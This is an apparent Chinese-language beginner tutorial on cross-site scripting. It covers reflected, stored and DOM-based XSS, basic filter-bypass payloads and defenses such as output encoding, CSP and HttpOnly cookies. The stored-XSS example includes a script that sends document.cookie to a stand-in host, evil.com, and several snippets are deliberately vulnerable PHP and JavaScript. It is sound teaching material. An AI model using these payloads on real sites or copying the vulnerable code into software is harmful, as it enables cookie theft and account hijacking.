less than 1 minute read

这是Web安全入门系列的第一篇,主要讲解跨站脚本攻击(XSS)的基础知识。

什么是XSS?

Cross-Site Scripting (XSS) 是一种代码注入攻击。攻击者通过在目标网站中注入恶意脚本,当其他用户浏览该页面时,恶意脚本会在用户的浏览器中执行。

XSS之所以危险,是因为JavaScript可以:

  • 读取页面上的所有内容(包括密码输入框)
  • 修改页面内容(钓鱼攻击)
  • 发送HTTP请求(窃取数据)
  • 读取Cookie(会话劫持)

XSS的三种类型

反射型XSS (Reflected XSS)

恶意代码存在于URL参数中,服务端将其原样输出到HTML中:

https://example.com/search?q=<script>alert(document.cookie)</script>

服务端代码:

echo "Search results for: " . $_GET['q'];

特点:

  • 需要诱骗用户点击恶意链接
  • 恶意代码不存储在服务器
  • 每次攻击需要重新发送链接

存储型XSS (Stored XSS)

恶意代码被存储在服务器(数据库、文件等)中,每当用户访问相关页面时都会执行:

<!-- 评论区提交 -->
<textarea name="comment">Great article!<script>fetch('https://evil.com/steal?c='+document.cookie)</script></textarea>

特点:

  • 不需要用户点击特殊链接
  • 影响范围更广(所有访问该页面的用户)
  • 危害更大

DOM型XSS (DOM-based XSS)

恶意代码通过客户端JavaScript直接操作DOM产生:

// 漏洞代码
document.getElementById('output').innerHTML = location.hash.slice(1);
https://example.com/page#<img src=x onerror=alert(1)>

特点:

  • 恶意代码不经过服务器
  • 服务器端WAF无法检测
  • 需要审计客户端JavaScript代码

基本绕过技巧

HTML实体编码绕过

如果过滤了<script>标签:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>

大小写绕过

<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnError=alert(1)>

编码绕过

<!-- HTML实体编码 -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- URL编码 -->
<a href="javascript:%61lert(1)">click</a>

<!-- Unicode编码 -->
<script>\u0061lert(1)</script>

标签属性注入

当输入被放入HTML属性中:

<!-- 原始代码 -->
<input value="USER_INPUT">

<!-- 攻击payload -->
" onfocus=alert(1) autofocus="

<!-- 结果 -->
<input value="" onfocus=alert(1) autofocus="">

防御措施

输出编码

根据输出上下文选择正确的编码方式:

  • HTML上下文: 使用HTML实体编码 (< -> &lt;)
  • JavaScript上下文: 使用JavaScript编码 (' -> \')
  • URL上下文: 使用URL编码 (< -> %3C)
  • CSS上下文: 使用CSS编码

Content Security Policy (CSP)

Content-Security-Policy: script-src 'self'; object-src 'none'

CSP通过白名单机制限制页面可以加载和执行的资源。

Set-Cookie: session=abc123; HttpOnly

HttpOnly标志防止JavaScript读取Cookie,降低会话劫持风险。

练习平台

  • XSS Game (Google)
  • PortSwigger Web Security Academy
  • DVWA (Damn Vulnerable Web Application)
  • HackTheBox

下一篇

在下一篇文章中,我将介绍更高级的XSS技巧,包括CSP绕过、Mutation XSS和DOM Clobbering。

参考资料

  • OWASP XSS Prevention Cheat Sheet
  • PortSwigger Web Security Academy - XSS
  • LiveOverflow XSS系列视频

Tags:

Categories:

Updated: